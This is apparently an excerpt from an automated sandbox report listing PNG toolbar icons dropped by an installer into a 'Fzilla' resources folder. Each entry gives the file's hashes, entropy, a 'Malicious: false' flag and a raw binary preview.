Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	334
Entropy (8bit):	6.917558448131977
Encrypted:	false
SSDEEP:	6:6v/lhPkQvKNR08Os/dvwBpDWy+g7/hHA8GgKI2a1dtFiklTMh37Trlbp:6v/7seU2Ttf7/hCgKStIkeh3vrl1
MD5:	5A9DACDC3B1A421121F7FF5588C1D093
SHA1:	131063A64C7CB3CC79D4CAC2DD78B0EEEA9BEFF2
SHA-256:	5F859219D5749258CB921C266BDE4A25825BA3EE36A7606C9904695CDBAF4990
SHA-512:	50083D9DBB7CD16B4CF39CD8A513957712E1909724BA56F29DD3539AC4F61267DFA5CE44C0A8FD0D9F6B642DB823AB7A3B3A611EDB58228AD3116CD075E6189B
Malicious:	false
Preview:	.PNG........IHDR... ... .....D......~PLTE...;H..6.We.\j.Zh.Vd.6F.5F.AN.5F.6F.v..KW.Yg.]i.=J.DR.Vd.x..<I.~..kv.Wd....O\.BO.Ve.Wd.Xe.We.@M.Xf.6E.5F.BO.AM.?K.GU.M[.Xg.7G.F.]-....tRNS.@..f...~IDATx^..7..0....;..^..A;B.L......>p../l./....}u...1.......Lg....>.s0....&.....j`.....5p............@".f..K......M.\|!...4.u.)...v....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\cancel.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	954
Entropy (8bit):	7.706792407041953
Encrypted:	false
SSDEEP:	12:6v/79/bIPOEQSS1xC5zF6xxhq1HGQ6yRQZpnCO+kp4hznYTnD6VVSx+jm+GJQv0R:+bI2EAUshUmqGZpDD4hzYrDWVO+V06wD
MD5:	B0EE00074CB9D0A3DA4672C658FC88A5
SHA1:	4C5C919F3BB49102859D2A9B5F6D03EBFAE5B77A
SHA-256:	361555AC4D2A9CFB5B68E486A82AE4B37C3EA2F80ABF75DE878C74A0DE121522
SHA-512:	D4B0A05D201F19ED3973E1750233399F4D534FF24BD92CE79C518BF176BBF2CAB9FB273C3A2CF47972B1B88C24FA016132C04C21C64EB13A8F0194FB3F8D5653
Malicious:	false
Preview:	.PNG........IHDR... ... ............tRNS........y"...oIDATx..V..4I......7..Bw..m.Bg....k........./&..U...4UT....@.?A.EY..J........+_.>..;..?3~.=C11....11... .._......v....E_``_p.@X.PT.u..:...{..:......\\Z...h...uxz....f02...u%zY.F..`.5k4.Je.LV.......m..].........}+=.7<...E..Pw...,kb.....r.........=.K.sR.bb,.....;:..DF.. ....R9q....!.....r...E.....;..:Pz_xa..z&!A'..h.0..u..BA....\|.....o0<\|..u..._....N"....D.M.]C..t..... .j..:..Y............$iT(jy...b6-..q.z5M.f&9....\.H.0.....<....J...Bq....fb..G.8r..o...q........m`..e.W.(..........X....0 .,z;;.....b.T.A#.....K..g!L.........<....x.W...BO@....n....P..C...\4.k......_$..=w.....lQY.Z(*:.e.....7../3.5.?8..)v....... jX...B...&.....tX.`$6............C..>p..D.....C..'.b1......'.\.T......>>.f...+.....$h.Zu=...........W&X.P.p_....3.t..y....P.........lD^.r.....=.!\....6h.?:==.$8l..3..t1../.QA..I..._&.G.A. ._&\...0.........<.4...8..-........J#f.6I....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\compare.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1177
Entropy (8bit):	7.772586391230063
Encrypted:	false
SSDEEP:	24:otTLKQ+PluSLGS72609fDaVjG+3LCx2EbTVb49uoQ1GTaE18nPF/ckS4r1:YLmPlK+/0NaU+3+5tWuokGTN8N/S2
MD5:	6938C0E57B9071E48BB810C6C83A0D30
SHA1:	81AFD857DC6C727575488EAC050118EA314B43B2
SHA-256:	239BF86478618992BC7739898C69E792632EA2B103245468D87A1E1667AF4FEC
SHA-512:	53E43CF610F8A9B07743529932B6CDBF74D6BB939559B375B6A7F92827610C4E972AD08A1BA3A21DB45E6D3D1AD4C4A04D64FE047BD17632229F960E5D0A2826
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....`IDATx..S.$I........6.m.{.Qf..]m..1.g.~...\{...n...+.....~.[.l.~.7@.........Q.....E..@'.D..ht..#hM.X.}......N..@p5.`.O..,.. .g.._."T.>...,.....EEE ..=."??..9...abb._\\...xK..W..:....+.+_. .BD.@.n.B..<.-......FFF$t%--.MA.(....)..b....{.V..z.......j...9...`ii9...eTLL...........TN...c,.@..\|.w..n..o..u.5...mgp...M..."^.??..\..cf"S.}...<.k?.8...gq.....g.P........]..+W.`. .Zo....Kdff....i........J~..\.aMo5[.Z...w..h#X..Q............} ./(@A.Z{....Q...5..P....Y.P.1.59K..H0......q.7..R..W.............>....>...H.........z.~..`.QQQ1...t.L&..T..\.jhh....9U..N..F.A..0..Q1`...1....8.......D.......Y.......*.....H=O.l.oG....@............p.?..;+.......n..!..A&6.....q....8q..8...E".tJ/....SSS.LMMA"......8.....j.~...&.F..;8...g...1.....r.8..P...}.\.4.....U-W.[...R.......uh..~a...q..FX...^:....I\|.c......[.v.....U.Vt.]....y@...B....!....p.E....&V.0u....t3@S.G...3@...- .......x..cp^c....GlD.}.../8c.......~.....].Q']..I..j.

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\disconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1629
Entropy (8bit):	7.864089076601816
Encrypted:	false
SSDEEP:	48:Xia1MVzPgjRWDJhqUlhvDElymYv+7yoD74I6ZjRfnMgQ:jkkEJhrlFmY2uoDgjMgQ
MD5:	A2F3344E4EE0B29493AC0B8A91D9D901
SHA1:	28E56D253BC9289A697BF2B9485781EE1850A51F
SHA-256:	D91D9890D112C0D7C2D178572A5ABAF29A954011E2FD1E9ADC57EB7B31F7B5D2
SHA-512:	465C6C8B5435FDEBC973C8E0A2C4DFB5F417AAB7303DBE3ACA353636FFBF8D03E59D48F128D3CE26C6E180ACD0DDD683776DC9520E60BEE85A884ED8F34AF884
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....$IDATx....t.Y...k#X...9I.3.s..Fc.Vl..m;U.F.&..>.{.1..s......r....Zg\|..yaxr.?8.3.o.s.Ad...gt....}...l.s..r.".r/.5O.M#....I.0>c..u.g...G.~.U..'..8{%.y.U!u.S$...S]..h..H..B.D.yF0K..rm.xMm....T....C...8q=..)...k...(.........Q.......G<..b.....z..4U..Q..T.a.Zl>T..#.0.L....\|...O........T..F%F.N. ..-...?...#.X.S.....W....U....C.s/.Ku.j..1..A.p.VG.cYx1L/..Cqf.-R...`...T....Y..X..C.L.6.....R,./...Y....KE!...sz...V....i]..P...b,........o.W..p..e....)...@).....$s@....ZJA..F.(!...ae.E.NJ.In....A.=...n...gTK.-AxJ..."....4..;O4Q.W@.y..S.XA.`..:.E.:...5i.)..e..uN.ex0.m~H.-...e..3.....{.3xG+.%.w.......N)..4a.d.!.j..F.....Yp...w..\|..N. ...=.f....$...g.~..{..`.e.......A[.]..cI).. .....r....9u.^H...\.^..;....N.......d..2...e..MZ.3j...!...gfs!.L..8m.n79....v.".X!..H.t@...U>3u,..6.{.I[.......`.1....G.......X...<.\|..\.q.0..=o.G.._....._h..l.......Y...7ki.\|..>....\..V%.`py...s..H......7.!...QA....A..x..2.......iC..Q.U

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\download.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	7.785480870316043
Encrypted:	false
SSDEEP:	24:uOCcm3Cw6IrJTR1PONqnugvYFFI/39yqWJJjqfSrDwTqM8Sxw+DDz:uvPr1POdgue/s9/efSHpkDz
MD5:	7BD1094596464BC3091D9AA2E171D530
SHA1:	E826ED0D672FA9761B84E09AEA1A8E7AC3AF8F76
SHA-256:	213CD61636652F4F97CC5E40DE29852F56804B4D952163DF22153F79FEA6ABFB
SHA-512:	E44BEE97C972EA4F2782546E8A61027CEC474DFEC11391950793D66424E92BEBD1544A4EB34E40105A5578B55B0B97270913250C07A39D4B5038E26E923B2490
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....IDATx.....X..s....m{..k...4.m.m.F.K...v.....w.?t.8....L=..w..8.z.]~..N.t.h...n..i,.N....?~.'.D...S.I.'z.....M8......1..v4.R.w..,.....t..b.."nE.z.}.gM%+....\|.m^O.^.....B.X.&.....g~.@G..O}...t?..D`..Bq....D3..Y....].y(..n..G....z.......A....h..n...[;b.pDLw.}...+......?%/lvo.i+v._....<...D"jZe.O.#qY9$/..D".W"..@q....'.}.g..P......U...^..%..o..0...o...].H.U........7.E.d....E..p...k.CxA3.....~X.&O.>\..[}....qS......0hG.2.5#.,\|F...Q,.e....zD.)..U....&..T........w.g?..)..q.5W."tr).N.UWA...........>..a...y.M7 f^i$--...U.....G..b.r.MEl]-..{%....>.zg..g.R.y.#....?.d.e......f...@.PEdm...e......].!.....T.. q\|..{w...9..s........O.=.s.q.D."g.@..rj..M..7....n.)...T.../.F..P+...R..x<.@"..;...>.3x...~$.a..D.,..UF....X..d..w..S..qo..w.5.4.~..2...Ee.4Y..Z..0%......N]Q.]../.VvK.l.S}.z..p"...LEBj..J.r..P..=.4.g......x.."f.@... .}..LW.jO...6..3....h..2W.WTU.mM%$...%0.sJ#..^.Tw.+dRV.*....lo.I70.1.%...o..L....37TQ.M..w.B...-..

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\downloadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1383
Entropy (8bit):	7.802272783004605
Encrypted:	false
SSDEEP:	24:WkcPnp0l9Kxs/XivK/6rTqhPwZWjkiwsm2VirvbcEniI2dY692uN:UnSYSXiUYZWoiws7ViDdn52d5N
MD5:	454C4F6D1F553429CCEC09E6CB696BC3
SHA1:	F43D1A1969C86D3267503BDFE831CA90FDAB7AD8
SHA-256:	04016DFB34D195D077E8A6FF5BAAC808194B036F78280F07185FC2663352E414
SHA-512:	F3BA490EA189107145B1DE9456FADEF80834A5C2B3D3F446C69F262959EAB11F5099CD62D49E4A8E034637EE9A2078B52AA39B93F4D51EDA3F7DBE87AFF10242
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..V...I.....m..wv.U2;k{..5...m3.m..;..I......+.p..>.............y..8......_,........I.{d....O.bbb@(...#....$.=l.>..W_}5..>{!::.....C....?E\|d..0.r..h4.P(@.B\|\|<.......\..\]]....z...:...@.O...Ann....@vv6899..?.....7...R?...iKK.~.4.77...P022.y......N.~.>.G...:.//..(.IGG................9C.>.:.CX.j...o.C......;E\|d...>.......zDmx..KR.(9.9N..9.D.',,.0...0.p._S..s.d...e....6.Pyr.4..Md...+c?.VK..~7..@.p.$0.-..6.2<a.0....M.>.O..}.`..v9)r......c9...X.?.W.+O..e...]W3.\...P3}..2..+.rP.{...S......... .....2[VV.4.R.F.b.....du.I+......o...9-`...qXH.Kw..r.\F..W;.R.g.@....G..a...s&V..._..Qw.b.2..~...^....g.gr.8.+.?..\|..O.3.P....0.f....D..h_..b.0.....I.T....[GA'....]..?..lT.`.,.k\.]9x..AX^+.Bb..,...j...:Yi...WL...... .3.!<.....t..u)........l...\......vpS..7....c.F..=.....VC....WE.9.VRi..`.D.....E.......W.....F..l..y.>,.&.._.,.d.?(.*l?7c...MkB.d'+..V.....[c..(.@_.n...s.D..Rj.6:m.W..l.'.....H/[E&m........F]....'+....F.(8.E

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\file.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	620
Entropy (8bit):	7.505367665097406
Encrypted:	false
SSDEEP:	12:6v/79/t4UPJJi2Dvf4gdRLyeZyHmjw14uKWbpKWKwbsO847MC50gcz:+t46JcAAgdRO+yH2w14uKWBpu4l03
MD5:	1FFF5A25310A2F0E9AADF07D6DBF55B3
SHA1:	BA9767BC9451CFE172891DE766A63461AD2EA4DB
SHA-256:	D2A2EFB6F4F3FAFBDCB6BB91975C69D90000F9DE16DC7C74EA197534074C60D8
SHA-512:	14856B3E1F9E59F2244EEBCE93D5637A79C9845BC38913D3897505EE688C6995342D26833394C07027857FAE14122F79895BD5D8596345E17FB1384F15F389FF
Malicious:	false
Preview:	.PNG........IHDR... ... ............tRNS........y"...!IDATx.b.w-..M_N....X.PAnj(###....B.".!"/.}...]'......@mU..5../....{.\|..W...a.wzMv.I~..g;.T/..T...........J<x.r9.MZ.,1...N.....a..g..y.{(p............`..M.N.X.cY....^.\|.g\..09vl.Rr....6...gtYSL.........44..\|..}.....~.../...Ay.G..6.!..P.h.0.`..Q9ar..3.+.H..../.%.4.0n.$...(`... zg.'.Aa.o....!..3..ne."$E.:X2..A..oSM....e........]Y...U....^.x..E........$i...j&6r..~.R%3.H......L..d.{..b.iY....._H......yh...N#......V.qH.$.u.!.!@8.).nN.V.rt.s.9........G.!..<V...o.J. %.J..(1PF....$...Xi.U........p#j..8.....a......~bz\.....i...:.G..!/.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\filter.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	617
Entropy (8bit):	7.538330163979
Encrypted:	false
SSDEEP:	12:6v/7i14yU40frCFdr5MCP8bdjbdDF92ogFh0RKEkXRKcJLiqWcgG:gyUBrC1RP8Jj1F92oqheGR1jWc9
MD5:	FB2FDC4B0D0837F0F0CFA7284D9A0327
SHA1:	7FCF5F7A0EC2A558A6F49E679C4299F9A2354B0D
SHA-256:	CE8EDA54D26DDB11D08C134AD97AC3DFE3CA06EB5AA2897F15DCFAE2A6699C07
SHA-512:	91DEF83DB36F9130C84E9B0C29FDC9161197F7B1F2821A1C43F8731209481D9E9EF17625DD18EC6359DBF50AC3B0F6AFEB24199683E01A2642EB4C63B7506678
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....0IDATx.....\a....0.Y.m.....A.......FP.v;x..^.y./<....Q..-//O..c...+.....l..f.N...g........S.j......%._7..o<k......@..%3n.]).A....di........}.........g.....Pg ).r..R...Q.8A..>/.E.G".^.E.N.w@.F...W..$\.~.>....=.;.....F..7.....?.(P.....jD..(t..B..J[7.....8....B..9.......x...8. X~Xa..m@.m....4.......gt.6.r.>...\'...q+..J...Tg.'1..u....h..8.c.U....A.I_._r..IP.p{.....U1.F.^.Z...Ni.'E.....7...BI...(..H...T~..^v....F...Xx......-.+.h.Lr....b.....0..!._.y.`......F...g.I_......J..(....J.G...M3@S.04....}...t@u.$...07i=jV.* ......@wC..`..)B/.....F......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\find.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1206
Entropy (8bit):	7.770468566040055
Encrypted:	false
SSDEEP:	24:7B9iwQ1FU/LSOmHr/3q/rWvcqz77AYrXd30q5TsFRKCHghWlSv08i6tB:7HiALDIrAccqzoYtWfKCHgha6p9b
MD5:	6E77EA3192EA5B94D370F8F842B192F1
SHA1:	2F6A284504382A063328D6CB91602DF1A70BCE83
SHA-256:	E581D22A48751C063B1A91A2587A5E785CF1BEA2379D0EA55CB337560991E65E
SHA-512:	7AC74CFC4A102F8B7554670D452787F959F8EEB136F9BBA5845BE0675239C9642F2BE8352D9AAC0B1E6A5458C7BD143D250710303C1A867FD0835973E85AED63
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....}IDATx..W.tdY.]....c.8il....l.m.3.m.m..L.....Qc....Uu...#../]...V.\9m.....7.988.....c.X.b...,\.....?..h...@..f.\....c...t..m .U.@. J..../..".;v4..(z{.M.@...x...x.........V!.....C..s!78.xj.....r.}'3U.?....G.;.IF$.d2.A.oX......>.p..M{[..B"].l..<#R..]..e...B.G<..[.z;.~.H..a..............^OT......Y.O...?J...%....{...w.)..;..Q........@.......F..3..BE.)K...}....-...^..J.E.a.!^...#M.Re.C.U;v.lAaB..f..:.p8..D5p.%D2..' B.GpV.<.H...L...Y.KG3T79I..XI...W.U.Y.!j6.''.z.f.d..L../ R..C.....L...."..j..u>Ow.H\.!Q...).w$QU....U.x..v?.I......L..+.:.2....F..E......OV<..eYN.7%....../....2F.....qE.....Ng.."..0^.+.by.6l.p"$$._...B.v<.)\|"D%?.....n....^d`b...G.e(.!9...;v...!......m..80..[nW.....!.bT..4.S....4...?.au.....mc...!.....n.{3.^..+\X..#...N..q..(.....G.C.F.+.......'L....2aD.....m#.X(..../R\..#.....2.=.rpv.....ol`f....q..E.=.....=.`..~.4..".:..R9.hJW.Y....=.m...fv3.2e....8w..N.Rb.....ek.IFM.0qt..c<F.D......f..#G..

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\folder.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1386
Entropy (8bit):	7.843106026270757
Encrypted:	false
SSDEEP:	24:vjpl1GP8BjQ8tcMylP0YE+A51NCFWJ9ybAGHVji/t4x3ZuKexOcmFouVNLuvg6HG:vjj1GP8BjQsVkS51IFoyjiexJfexFmWe
MD5:	C5E55C44BA8E4F7B653D45AEC140962A
SHA1:	3E33419D8A4955EF7CE68DB795FE7686431DB2D4
SHA-256:	6A1AC4F6C4C87DEBE4A40E62D153405A2B686BD9A79EC50CD15C5E118C04A200
SHA-512:	FA550CD0654CCB2C4DB2CA7B9DC964ADDE825937A8C382284DC7595FF864DA4DBF6CE50F77D0D3559E3160353BFEACCFF0CD71A33F92EA1E76E2E48F483BBAB4
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....1IDATx....4M.E...x>[k.m...m....w?...43.....m.....7.-f...b..)......O.^.KYD..,..=.k..P.\|.}.\|..Q.r.T.........w<..\|...r.8.Q..0.V....r.u..=.g....f;.Z........x..1..0.......{d.x.{......Y.~.3............)..N...j69Y...-...~.^..l.3...?.gW.,......).@8S.g.G....(..A.W....:3[.p..n.g.@..\|...]..)1(fV...s..8'.s$"L...C......r...-..-.....^s....`.9F@DrA.$.I..0.[....3....Z}...jZUU..d..} .......\...i..U.%..q7x.87M?.........y.K.lP..8..aj.......&..\|.........P=..]....`".Qr..$...V...%..e...y.HC.(.Fu..H2p.~.W;.l.?...&..5#.......4....W.v.._.}..l.^y..&.q'..b..\-4.k....g.\..-f.E.h{......FY8.@..a....V..}.&.t.U.~./$..Xlc.+.ns.54[.....=Q3b.h...f.U.3.KH5...uc..w.....6yz..?....k^m.....z.."..g..2..........!....."...")i.N.>..........:.I%..G..{.A...J...]...fJY..j....>.+...)C.a$...a....7$I..L...W...S.,..;tx...7.'.........z.r..!t.Y+.Nq...Rc.D..$*....,.o.n..a@M...q..k...m.0........%.\>#jw>L....}..)..."B.P..U.].b.m3..\.lLxI..f8

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\folderback.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	406
Entropy (8bit):	7.168478964942289
Encrypted:	false
SSDEEP:	12:6v/79/2o6b8abUTTzcQdgKvIzefdHHJjELq:+21bxbATwQgKvIzGnJjE+
MD5:	D47E44124D8496F65F1839BD33D1983F
SHA1:	A89293B03BC1468CD86F7A7FAECCD701F2DEDB2F
SHA-256:	0EB389A2CC721FC85368286409AE1E277CF885A910591EF30170FA60A0742AF6
SHA-512:	AF95D486DA824400805F3457C913B917D415082208F324CE8C18D96F10F88C929204CD041168D7BABBBC79E2CEA54B19075EFF232ADB31B427FA6B0E356BC2B0
Malicious:	false
Preview:	.PNG........IHDR... ... ............tRNS........y"...KIDATx.b.w-M.0.`.Q.......n.Q.E.wmsl...m...........y.7P......>6.(.r;'go..."@.18z..!v.......=.\|x....+.99,..g.g....o'..G./..O.w..7....[.7...ln.[.....).f\$....$....x?#.$.\........p2rm...'2.'A.LM..o[..&"...I"..ANr.9.i.P......m.+Ia..........E....pY.E....."..&....x.....F$...M$-&...(_`:<$.W.P.kj:\|4..Z.G....{..v...U......I.*.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\folderclosed.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1100
Entropy (8bit):	7.770860048666669
Encrypted:	false
SSDEEP:	24:w6RpdrBG6QJlY4hYLtk/RkKdmieus6+L9nyUJhqaN17lx:TybDY4KL2/3sdL9PJhz17/
MD5:	9685762A4B5F435224BD488843F715D7
SHA1:	F4BCF672788E490038CFDED2E5C3E068E59C82F1
SHA-256:	B79FA30E18264EBB5B1CBE23252342C5123E91D3A13E4D66323A40E6B8CBAD4C
SHA-512:	76EE15BDAAC572CEE1391A1228110CED8ED2149EF53B2DCE0AE614E248B3D0397D8EE0E2421E6A6A7F9C14953D1A58B36A901045E6C592FC41A5633F27953075
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..W..uG.=..>5.m.A.6.m.v..m.......Am.u...{..L..L.P.'ww.v.3..13.......}p.5...e..G0>.?j...;...w.p.5.].l..].,.4.?.O>....k...`....\|....x...;f...d.m.[......\|..fLi..j..)..X.h.Y....p..... ....s.....&lX.y..X.W....~.ky....%...g.B.b5...fsdhl..N.........w.f.".6P..#....iK<......m{.....%TQ..3......C..(F_B1.....j9v.r.$..k/.".....V~K..r....h.....P......D.(..^}............`q}"....4...BY........rT`...^...HJ.P9.Fv...&,....$...4.B.H..h5G....!. ..1.!3.`...T....J...t.[.........0..E.h@S...0....ss...r0K..}..).F.Q.D.L.#h2....8.&..b."[..b.x...9..k.U..E(.Uc.%..}...m.8FQA2.$\|.......P......0.N..M.([cID"..P3H.....+.F......".......#...I.4.l1s........%..B......$.%I.......X..k...E2.D...b..#7.^...,L\#eY..l..Z..ug.n(H.JA.r.>..k......h.J..T.4n.......0n.T..8!...9@...]..Y^A..s...N.......\1.a.r.G.y#.)*(.........Y.P..X$..M......`m.R..Ui{..\|.....5.xO...&..B.Y......A.f..'..;.jh....~f....H..uuz.}w4G.rFX.....h.O...P?E....O....(..J.b.

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\folderup.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	407
Entropy (8bit):	7.168809466358561
Encrypted:	false
SSDEEP:	12:6v/79/9pC5tLkvXV1Fl4+aft7xvpWeP3vwYR9:+9pCjLkvVbizfVxB/I69
MD5:	5B5BABD6635C9D179498A34C986BD4E1
SHA1:	08A9D2EBA83207FE4BB1CF877D45E403CA72D5D4
SHA-256:	039733DD7BDEBDADD267A56A5DAC00E973CF38F44BB7E8E460B5DC44D4918501
SHA-512:	83538E9B2E0EA277B8ABE1F15AD9093A5240C41BFD613156D48EEAE007A412E771657972B38FD080670B8B23BB0B0D2E802B27E791C94D669CD5BCD08FE19545
Malicious:	false
Preview:	.PNG........IHDR... ... ............tRNS........y"...LIDATx.b.w-M...`..\ .....^.v..}...1.....>#vVQm..m[...$.1.;.4..@t..\|vyM.q....Y. 7.....#U=...... .5=G.F.m5\..M.,..NL..@B.;..>9..8..L..1..z....?.._.:..6)X^..wS.\r..%..m.`.{.L......C....}p...A....sr."\|0r..........o.....~...@....G.../............c,K..p..`.t.R...S.d.C...Q$4....B.I*..v"F.G.."I.P.T....F[..............{.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\help.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	914
Entropy (8bit):	7.659362948134689
Encrypted:	false
SSDEEP:	24:ruk/g0NaQ0UXpXwX+jKSuWaPiCd4246xHs4K0u:Lg0NJfwOjj64KxM4K0u
MD5:	6B0D048126E4DBE97BC6A80BE67ABD00
SHA1:	185F7C09C6FE96A4A13D2E0B635249FA1D3B97F3
SHA-256:	18280E6B773663D224D83F90749BE9A6E7B31D697C9C64EC24140A1A5CA5706F
SHA-512:	09094482663063FA0D9670C037D8280356151E4CFEE7182D2C6BF6C2A17BAAF8205620BB71109EDAAB51A639B2168EB30C0937227EA84D2ABCF05548A5801CE8
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....YIDATx....dI...u..Zo{m.m..6...ym.c.Skl.........$.\U...{..K........>...%...[....].n.>... ?.Y.....`J...oQe.9.......:P.\...RD....^.C+Y...M.;...;.Py.......d. .;.=.J..f.n..YN4..+.U..L.-=.R...{....a.....7..v.............8n.6.d^......nD6...~...3!..F5....(\|......f...#n.^..xq.R.>.N.....c....2.]..l....v......dfc.U..7..E.....y..E...5...w..C.s.?....4o..x..&$\|.V\.H..+-..p.p..L.._...HD..'.oaS.S..4T^0.4<.....QE$..Nm~py\.. ....yc./..U.....$*...Q.,..(...0LX..C.V.h...'$...}f.I...t.C~TEv!.:...B.vp@.(....m..;}dP.._N\|.........?G.:...V....]...P.T.s....Q.Z..?.-v.e.V/F...~<{\|p8.5......."......E.h...!.H.Hb.!`Sf......D..f...H.;....E. ...^o.\|...y....v].oEmHH.[.../t..0.>.R:..M...m....-..C...l.Q..kR..4.E..........y\|ci]M.J..7O...YR.......f..`.....jn.\|&E.M...-.\.\|b..n... `S.R.c..L......a.j.Ex~sR...6.\|..L..C'...l.Y...I..?./z.Rs...3.../v=.A........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\is-19VGC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1106
Entropy (8bit):	7.7526454714778685
Encrypted:	false
SSDEEP:	24:Mf3f8cfu5ft3oC+Drv8Fy3PayhzXYzXSasHJgy019JUfB/m:MfENFtYC+DrUkzp0XSBHJgy01T
MD5:	283073C3DA0BC7EE74EA49E810FA216C
SHA1:	8C6A314D0B693A4D83663EA1A35234FF0F7B64F0
SHA-256:	A2AAFD72FB4CF2C956A8C80D780C552AEB69E5A43C0320E8F587158494650D7E
SHA-512:	3490AC6167CDA5739F9FA5C4D17EFA44655C989FDD2F18631B88C9D8E08CCE78C307C039A97B616DAE600BB700B1DFAEC293205C1C841F57FBD3886C32A6801B
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..c.3W.....&.L..v.N..mc..~.m.m...S{U.......^j.5@.oT.8..7..X... ....b...2..bN.U/..S/.......R.[..`..Pm..0....O=...~O.....9v...h...PV.}\... .}\1.y..t9.u.....,...K.....,:..#...z....ep..?...-r/.#?.^{.K.h...$F!.u..s...y...O.......\|.L<R.....3..vp..c.J~P...s...7.TVJ.........>J....x...!r.&...#..5j.}....W\K......R...k.\|YQ..x5.{3..^.^d..I:.......~.....!..L.F.bS.n..w=...M{.....e.....V6.U~.t.w..+.c5H.d@..q..^....!@..t....i3.n.V..m..Q...5..s...I!-..s.y...n..3.P......E...5.....x. .D..D.\|#.l..w#...x.cm...d...%.hU..=v....;#...@..8..+T.1...o#p.7W...!.8.iD.P..H.ez...ns..YW..}9..n.:...WG.k.z..C..9.f..%.!.9D..D......$.z4.&.{c...>...Z.m.p.4...o\|...l.6...%#z..(. ...0z..(.N..[.p....."k.)2...p..2..Q.q...D.GT....U.H.f(........#v...f..B..7..l.0...........(^o..-..m.:...3........Rg..I.c...Z."a......F.Yb...- B....jd.\JyU..w.:F.78[....K..zV.?q.."....y..P....R.f.Y.".{.=..).....o..x...d1m.........f...2.....U..Zl#z.L5... ?.

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\is-1AJ0O.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1422
Entropy (8bit):	7.853035540830731
Encrypted:	false
SSDEEP:	24:aIRoDlbzkfUhj+v3tVOhbRUuXjnozNtqjB8/JdqMWyOM+7reofZl4UWBhDy:RuDl3EUhj+ftaCuXjnozqjydTWJ7tfbB
MD5:	802F4C28CDF440B5A9804A815783ACB3
